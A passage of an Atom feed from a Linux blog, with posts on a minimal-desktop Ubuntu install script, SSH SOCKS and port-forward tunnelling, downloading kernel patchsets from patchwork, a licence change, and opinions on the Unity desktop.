<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5475638373794111209</id><updated>2012-01-22T05:53:36.752-08:00</updated><category term='custom search'/><category term='gnuplot'/><category term='presario'/><category term='instrumentation'/><category term='/proc'/><category term='news'/><category term='bugs'/><category term='rt-mutex'/><category term='trace'/><category term='community'/><category term='fonts'/><category term='tunneling'/><category term='fedora'/><category term='reiserfs'/><category term='build kernel'/><category term='hardy'/><category term='png'/><category term='sed'/><category term='gnome'/><category term='Linux Fun'/><category term='info proc'/><category term='firefox'/><category term='vsftpd'/><category term='module'/><category term='ibm'/><category term='lkml'/><category term='git'/><category term='vbrfix'/><category term='realtime'/><category term='numa_maps'/><category term='vim'/><category term='fake numa'/><category term='page tables'/><category term='scripts'/><category term='update'/><category term='compaq'/><category term='large pages'/><category term='linux'/><category term='debug'/><category term='network attacks'/><category term='whitespaces'/><category term='sametime'/><category term='coding-style'/><category term='configure kernel'/><category term='page cache'/><category term='gdb'/><category term='PREEMPT_RT'/><category term='lenovo'/><category term='numa'/><category term='thinkpads'/><category term='splitter'/><category term='sound problems on hardy'/><category term='udpflood'/><category term='dentry'/><category term='multi-core'/><category term='memory'/><category term='offtopic'/><category term='kopete'/><category term='vcd to avi'/><category term='kde'/><category term='systemtap'/><category term='per-cpu variables'/><category term='misc'/><category term='lotus notes'/><category term='emulation'/><category term='streamline_config'/><category term='bluetooth'/><category term='task migration'/><category term='drop cache'/><category term='klog'/><category term='.ics file'/><category term='unix'/><category term='kernel'/><category term='errors'/><category term='gcc'/><category term='mp3'/><category term='topology'/><category term='udev'/><category term='ubuntu'/><category term='blueprint'/><category term='thread state'/><category term='ipv6'/><category term='kmail'/><category term='debugfs'/><title type='text'>Linux Guider</title><subtitle type='html'>Ubuntu ,Debian</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>79</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-6494165174246763318</id><published>2011-05-10T10:55:00.000-07:00</published><updated>2012-01-22T04:13:17.364-08:00</updated><title type='text'>Femtobuntu Progress Report</title><content type='html'>I've ported the script fully to 11.04. &lt;strike&gt;As expected, the KDE and *box segments required no modification, however (for some odd reason) you still get the &lt;a href="http://3.bp.blogspot.com/_jpZf7xeuuFI/TMj99bKv9jI/AAAAAAAAAIk/2pAHs1BfPpg/s1600/error.png"&gt;generic Unity error&lt;/a&gt; on the first login (it never shows up again).&lt;/strike&gt; Unity isn't in there yet, but I'm working on it. If you want to hop on the testing train, you can download the script from &lt;a href="http://minimal-desktop.sublevel21.com/latest.sh"&gt;http://minimal-desktop.sublevel21.com/latest.sh&lt;/a&gt;. Remember if you're wget'ing this onto a new CLI install you'll have to manually switch to tty1.&lt;br /&gt;&lt;br /&gt;Unity support is my priority right now, then Xfce after that. GNOME2/3 work fine (so far as I know).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update:&lt;/b&gt; Whaaaaat? The KDE install boots to GNOME 2. I... don't even know what causes that. Investigating the crap out of this...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-6494165174246763318?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/6494165174246763318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2011/05/femtobuntu-progress-report.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6494165174246763318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6494165174246763318'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2011/05/femtobuntu-progress-report.html' title='Femtobuntu Progress Report'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-719945675706179206</id><published>2011-05-04T11:12:00.000-07:00</published><updated>2012-01-22T04:13:17.387-08:00</updated><title type='text'>Roadblocks</title><content type='html'>Evidently Natty doesn't like a CLI install (from the 11.04 Alternate install disc). It refuses to boot! Let's hope the Netboot installation works.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update:&lt;/b&gt; As dpeter pointed out, the CLI install fails to work inside the testing environment (as well as older machines). Until this is ironed out, I can't really work on the project effectively.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Le Second Update:&lt;/b&gt; esauvisky pointed out that tty switching still works. I hate to do it, but I guess I have to make the user handle tty switching in order to get to the script until this bug is fixed. Thanks, mate!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update the Third:&lt;/b&gt; Installing GNOME forces the install of Unity. This needs to stop happening. I'm not even sure why, because none of the dependency trees map out that way. I think the default install of GDM is designed to kick to Unity, &lt;i&gt;even when it's not even installed&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update&lt;sup&gt;4&lt;/sup&gt;:&lt;/b&gt; Or not! It's just stupid and gives me the standard "&lt;a href="http://3.bp.blogspot.com/_jpZf7xeuuFI/TMj99bKv9jI/AAAAAAAAAIk/2pAHs1BfPpg/s1600/error.png"&gt;your hardware can't run Unity&lt;/a&gt;" message, despite Unity not being installed at all.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-719945675706179206?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/719945675706179206/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2011/05/roadblocks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/719945675706179206'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/719945675706179206'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2011/05/roadblocks.html' title='Roadblocks'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-1364822314343192720</id><published>2011-04-12T05:25:00.000-07:00</published><updated>2012-01-22T04:13:17.434-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='offtopic'/><title type='text'>Advanced SSH Tunelling</title><content type='html'>&lt;p&gt;In case you don't already know, &lt;span style="font-family:monospace"&gt;&lt;a href="http://en.wikipedia.org/wiki/Secure_Shell"&gt;ssh&lt;/a&gt;&lt;/span&gt; is kind of a big deal in the GNU/Linux world. It stands for "secure shell", and it's one of the primary ways of remote administration (or login in general). Apart from the standard use, one of my favorite uses of ssh is to create on-the-fly tunnels (or proxies).&lt;/p&gt;&lt;p&gt;This guide makes the following assumtions:&lt;ul&gt;&lt;li&gt;You own a Linux computer&lt;/li&gt;&lt;li&gt;Said computer's SSH port is forwarded&lt;/li&gt;&lt;li&gt;You have a basic understanding of the Linux command line&lt;/li&gt;&lt;li&gt;The client is running a POSIX-compliant OS with ssh installed&lt;/li&gt;&lt;/ul&gt;The basic syntax is as follows:&lt;blockquote style="font-family:monospace"&gt;ssh -D 9999 user@ip.add.ress&lt;/blockquote&gt;Let's break that down a little. &lt;span style="font-family:monospace"&gt;ssh&lt;/span&gt; is the command to create a secure shell session. The &lt;span style="font-family:monospace"&gt;-D&lt;/span&gt; flag tells SSH to create a local tunnel (SOCKS5) on the specified port, in this case &lt;span style="font-family:monospace"&gt;9999&lt;/span&gt;. &lt;span style="font-family:monospace"&gt;user&lt;/span&gt; is your username, and &lt;span style="font-family:monospace"&gt;ip.add.ress&lt;/span&gt; is the IP address of your proxy server. You can retrieve this by running the command: &lt;blockquote style="font-family:monospace"&gt;wget http://www.whatismyip.com/automation/n09230945.asp -O - -o /dev/null &amp;&amp; echo&lt;/blockquote&gt;on the SSH server. (Note: the &lt;span style="font-family:monospace"&gt;echo&lt;/span&gt; command is necessary because &lt;span style="font-family:monospace"&gt;wget&lt;/span&gt; does not echo a newline at the end of its output.) In order to use this proxy that we've just set up, we need to configure our programs to use it. Most Web-based programs have proxy settings (for example, in Firefox they are found in Edit &amp;gt; Preferences... &amp;gt; Advanced &amp;gt; Network &amp;gt; Settings... In the "Server" or "Host" section, you would place &lt;span style="font-family:monospace"&gt;localhost&lt;/span&gt; and in the Port section you would type &lt;span style="font-family:monospace"&gt;9999&lt;/span&gt; (or whatever port you specified above). This will route all traffic through that server, through the secure connection that SSH provides.&lt;/p&gt;&lt;p&gt;In some cases, this is not enough. Let's say you have a remote computer running &lt;a href="https://secure.wikimedia.org/wikipedia/en/wiki/Virtual_Network_Computing"&gt;VNC&lt;/a&gt; and you don't have its ports forwarded. Is it possible to connect to that machine though your SSH server? The answer is a resounding "&lt;b&gt;yes&lt;/b&gt;". It's more complicated, but entirely possible. The syntax would be:&lt;blockquote style="font-family:monospace"&gt;ssh -L 9999:net.work.ip:5900 user@ip.add.ress&lt;/blockquote&gt;Instead of using the &lt;span style="font-family:monospace"&gt;-D&lt;/span&gt; flag, we use the &lt;span style="font-family:monospace"&gt;-L&lt;/span&gt; flag. This creates a direct proxy to a specific machine. As above, &lt;span style="font-family:monospace"&gt;9999&lt;/span&gt; is the local port to create the tunnel on, &lt;span style="font-family:monospace"&gt;user&lt;/span&gt; is your username on the SSH machine, and &lt;span style="font-family:monospace"&gt;ip.add.ress&lt;/span&gt; is your external IP address. In the example above, &lt;span style="font-family:monospace"&gt;5900&lt;/span&gt; is the port we want to connect to on the remote computer, and 5900 is the default VNC port. Replace this with what you need. &lt;span style="font-family:monospace"&gt;net.work.ip&lt;/span&gt; is the local IP address of the final target machine. You can retrieve this by running the command:&lt;blockquote style="font-family:monospace"&gt;ifconfig |grep inet |grep Bcast |cut -d ':' -f 2&lt;/blockquote&gt;on the target machine.&lt;/p&gt;&lt;p&gt;Let me know if there's anything else I can expand on.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-1364822314343192720?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/1364822314343192720/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2011/04/advanced-ssh-tunelling.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1364822314343192720'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1364822314343192720'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2011/04/advanced-ssh-tunelling.html' title='Advanced SSH Tunelling'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-1734714597731890103</id><published>2011-02-17T07:09:00.000-08:00</published><updated>2012-01-22T04:13:17.517-08:00</updated><title type='text'>Planned downtime</title><content type='html'>The scripts and script generator (on minimal-desktop.sublevel21.com) will be offline for planned maintenance from 1:00 PM EST to approximately 2:30 PM EST. You can still download the scripts from Launchpad, Github, or Softpedia.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-1734714597731890103?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/1734714597731890103/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2011/02/planned-downtime.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1734714597731890103'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1734714597731890103'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2011/02/planned-downtime.html' title='Planned downtime'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-3789599579627837912</id><published>2011-02-10T22:43:00.000-08:00</published><updated>2012-01-22T04:13:17.544-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Re-licensing the project</title><content type='html'>After much deliberation and research, I have decided to put my foot down and stop using the &lt;a href="http://www.opensource.org/licenses/gpl-3.0.html"&gt;GNU Public License&lt;/a&gt; (GPL) for future releases of MDU. I understand that the terms of the GPL explicitly state that derivative works must be GPL'd, but I'm consciously breaking the terms of the license. Starting with the next version of MDU (most likely 11.04), the script will be licensed under the much more free (as in freedom) &lt;a href="http://www.opensource.org/licenses/mit-license.php"&gt;MIT license&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;If anyone has a problem with the re-licensing, I invite you to take a look at the comparitave lengths of each license. The MIT license reads, "you may do whatever you want with this code." The GPL reads, "you may do whatever you want with this code, provided it does not use any non-free libraries and the derivative works must be licensed under the GPL." Yikes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-3789599579627837912?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/3789599579627837912/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2011/02/re-licensing-project.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3789599579627837912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3789599579627837912'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2011/02/re-licensing-project.html' title='Re-licensing the project'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-1340228891027290865</id><published>2011-01-30T04:47:00.000-08:00</published><updated>2012-01-22T05:40:00.438-08:00</updated><title type='text'>Working with Big Patchsets</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;In the past, whenever there was a need for me to test or review huge patchsets, I'd generate individual patches by saving the mails containing them. This can get cumbersome, especially if the patchset is huge and if you have to try out multiple versions of the patches. There is however an alternative available. It is to obtain the mbox file pertaining to the entire patchset. The mbox file for kernel patches can be obtained from &lt;a href='https://patchwork.kernel.org/' target='_blank'&gt;patchworks&lt;/a&gt;. The home page displays a list of projects that are hosted. Below are a few steps to get started - &lt;br/&gt;&lt;ol&gt;&lt;li&gt;Create a login on  &lt;a href='https://patchwork.kernel.org/' target='_blank'&gt;patchworks&lt;/a&gt;&lt;br/&gt;&lt;/li&gt;&lt;li&gt;Once in your account, select the project of interest from the home page&lt;/li&gt;&lt;li&gt;Using the filters, search for the particular patchset&lt;/li&gt;&lt;li&gt;Select the individual mails of the patchset and create a new 'bundle' from the interface at the bottom of the page. 'bundles' are a group of related &lt;br/&gt;patches. Name the bundle appropriately&lt;br/&gt;&lt;/li&gt;&lt;li&gt;You can go to all your bundles by clicking on the 'bundles' link at the top right corner of any page&lt;/li&gt;&lt;li&gt;The bundles interface allows you to manage your bundles, with support to download it. Bundles are nothing but all the mails in a mbox format&lt;/li&gt;&lt;li&gt;You can then open the mbox with either your mail client or apply it directly to your tree with patch management tools that allow importing mbox files. I use &lt;a href='http://www.mutt.org/' target='_blank'&gt;mutt&lt;/a&gt; to read the mbox file and &lt;a href='http://www.procode.org/stgit/' target='_blank'&gt;stgit &lt;/a&gt;to import the patches&lt;/li&gt;&lt;/ol&gt;&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-1340228891027290865?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/1340228891027290865/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2011/01/working-with-big-patchsets.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1340228891027290865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1340228891027290865'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2011/01/working-with-big-patchsets.html' title='Working with Big Patchsets'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-1402500109149862936</id><published>2011-01-18T18:18:00.000-08:00</published><updated>2012-01-22T04:13:17.649-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Attobuntu Update 2</title><content type='html'>Not too much going on lately, but there have been some significant changes to the script.&lt;ul&gt;&lt;li&gt;Added support for Openbox and Blackbox&lt;/li&gt;&lt;li&gt;Improved choice tree for *box segment: Now has all of the choices of the other sections (minus CUPS)&lt;/li&gt;&lt;li&gt;Fixed the bug for rare moments when the script didn't terminate with a reboot&lt;/li&gt;&lt;li&gt;Fixed the k/ubuntu-restricted-extras lockup bug&lt;/li&gt;&lt;/ul&gt;I am looking into adding support for Xfce, LXDE, and Unity. These will probably be implemented in MDU 11.04 "Femtobuntu", due out on the 28th of April this year.&lt;br /&gt;&lt;br /&gt;You can get 10.10.2 "Attobuntu Update 2" from the &lt;a href="https://launchpad.net/minimal-desktop-for-ubuntu/10.10/10.10.2"&gt;Launchpad&lt;/a&gt;, &lt;a href="https://github.com/AntonioPT/minimal-desktop-for-ubuntu/blob/master/script.sh"&gt;Github&lt;/a&gt; or my &lt;a href="http://minimal-desktop.sublevel21.tk/pva/"&gt;Personal Version Archive&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-1402500109149862936?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/1402500109149862936/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2011/01/attobuntu-update-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1402500109149862936'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1402500109149862936'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2011/01/attobuntu-update-2.html' title='Attobuntu Update 2'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-3774097766463965399</id><published>2010-11-19T04:32:00.000-08:00</published><updated>2012-01-22T04:13:17.676-08:00</updated><title type='text'>Attobuntu Update 1</title><content type='html'>&lt;p&gt;Version 10.10.1 of the MDU script is almost ready. Some changes:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;CUPS (printing) support&lt;/li&gt;&lt;li&gt;Wicd enabled as a choice for GNOME&lt;/li&gt;&lt;li&gt;Fixed the read-only README problem&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;You can download the latest test version from my &lt;a href="http://minimal-desktop.sublevel21.tk/pva/"&gt;Personal Version Archive&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;You can now download the script from &lt;a href="https://edge.launchpad.net/minimal-desktop-for-ubuntu/10.10/10.10.1"&gt;Launchpad&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-3774097766463965399?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/3774097766463965399/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/11/attobuntu-update-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3774097766463965399'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3774097766463965399'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/11/attobuntu-update-1.html' title='Attobuntu Update 1'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-1898668704125428774</id><published>2010-10-27T21:13:00.000-07:00</published><updated>2012-01-22T04:13:17.798-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='offtopic'/><category scheme='http://www.blogger.com/atom/ns#' term='gnome'/><title type='text'>Thoughts on Unity</title><content type='html'>&lt;a href="http://arstechnica.com/open-source/news/2010/10/shuttleworth-unity-shell-will-be-default-desktop-in-ubuntu-1104.ars"&gt;Unity is going to replace the GNOME shell in Ubuntu 11.04, "Natty Narwhal".&lt;/a&gt; This recent development gives me very mixed feelings. I've never been a huge fan of Unity, even going far enough to recommend &lt;i&gt;against&lt;/i&gt; it when people ask me about it. A few unfortunate aspects of Unity caused me a great deal of unease when I heard about this change.&lt;ol&gt;&lt;li&gt;&lt;b&gt;Unity requires hardware acceleration.&lt;/b&gt;&lt;br /&gt;I have always loved Ubuntu for its ability to operate on older hardware. I run MDU on laptops with hardware older than some people I know. I tried to boot into Ubuntu 10.10 Netbook Edition in VirtualBox and was greeted with a nice, fat error message:&lt;br /&gt;&lt;img src="http://3.bp.blogspot.com/_jpZf7xeuuFI/TMj99bKv9jI/AAAAAAAAAIk/2pAHs1BfPpg/s1600/error.png" height="178px" width="466px" alt="No required driver detected for unity." /&gt;&lt;br /&gt;As it turns out, &lt;a href="https://answers.launchpad.net/ubuntu/+source/unity/+question/128737"&gt;Unity literally cannot run without hardware acceleration&lt;/a&gt; thanks to its grounds in Mutter, immediately turning off potential users. ("Why can't I just boot to my desktop? What does this mean?") Unless Unity somehow stops requiring hardware acceleration, I see this as being a potential roadblock to Ubuntu's success. At the keynote, Mark Shuttleworth stated that the &lt;a href="http://smspillaz.wordpress.com/2010/10/25/a-bright-new-future-for-compiz/"&gt;new Unity will use Compiz instead&lt;/a&gt;... here's hoping it does.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Unity takes control away from the user.&lt;/b&gt;&lt;br /&gt;The Unity interface is clean. Very clean. It has a nice Applications menu in the top-left (sporting the Ubuntu Circle of Friends logo) with an application-switcher panel on the left edge of the screen. Along the top is a typical-looking GNOME panel... one that is not customizable. As far as I'm aware, Unity itself cannot be themed (please correct me if I'm wrong) and the top panel cannot be changed without logging out, then logging into a standard desktop GNOME session. This defeats the entire purpose of Unity -- simplicity.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Unity just isn't for everyone.&lt;/b&gt;&lt;br /&gt;I do not like Unity. I could even go far enough to say that I simply cannot work in Unity. It feels like I've turned "baby mode" on... it feels less like I'm running an operating system on my machine, and more like I'm playing with a toy. I know this feeling is not shared by everyone, but I also know &lt;a href="http://ubuntuforums.org/showthread.php?t=1593076"&gt;more than a few people&lt;/a&gt; for whom this applies. I simply like GNOME 2.x better. At this point, it's a KDE/GNOME discussion, but isn't that the entire reason Kubuntu exists in the first place? The ability to choose is what gives Ubuntu (and the MDU project) its strength. By forcing Unity on everyone (by default), we lose that ability to choose.&lt;/li&gt;&lt;/ol&gt;These (rather outstanding) problems with Unity will seriously cripple any potential Ubuntu release. As a side note, I've already begun experimenting with other Linux versions&lt;span style="font-size:8pt;vertical-align:super"&gt;1&lt;/span&gt; -- not because I have a problem with Ubuntu, mind you! Simply because I disagree with the decisions that Canonical is making in regards to Ubuntu's direction.&lt;br /&gt;&lt;br /&gt;Don't worry, though! MDU will continue to release on-time as long as I can manage to do it, and I will most definitely enable the user to choose if they wish to have Unity installed on their system or not.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Amendment 04/13/2011:&lt;/b&gt; GNOME 3 isn't much better, either. It has most of the flaws of Unity. My ideal DE is something like what GNOME 2.32 is now. I seriously hope someone forks it and continues development.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:8pt;vertical-align:super"&gt;1&lt;/span&gt;&lt;span style="font-size:10pt"&gt;&lt;a href="http://fedoraproject.org/"&gt;Fedora&lt;/a&gt; is a strong contender in this race. It is the distribution that &lt;a href="http://www.redhat.com/rhel/"&gt;Red Hat&lt;/a&gt; is based on (therefore uses yum instead of apt and installs from *.rpm files instead of *.deb files). Look into it if you're feeling ready to take on a slightly more advanced GNU/Linux distribution.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-1898668704125428774?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/1898668704125428774/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/10/thoughts-on-unity.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1898668704125428774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1898668704125428774'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/10/thoughts-on-unity.html' title='Thoughts on Unity'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_jpZf7xeuuFI/TMj99bKv9jI/AAAAAAAAAIk/2pAHs1BfPpg/s72-c/error.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-4975628720031646306</id><published>2010-10-19T07:36:00.000-07:00</published><updated>2012-01-22T04:13:17.905-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><title type='text'>Compatibility</title><content type='html'>I have done my best to ensure backwards compatibility between the 10.10 script and Ubuntu 10.04. The Attobuntu script will run without error on Lucid, even though it was designed for Maverick.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-4975628720031646306?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/4975628720031646306/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/10/compatibility.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/4975628720031646306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/4975628720031646306'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/10/compatibility.html' title='Compatibility'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-568269688416481852</id><published>2010-10-18T15:24:00.000-07:00</published><updated>2012-01-22T04:13:18.016-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' 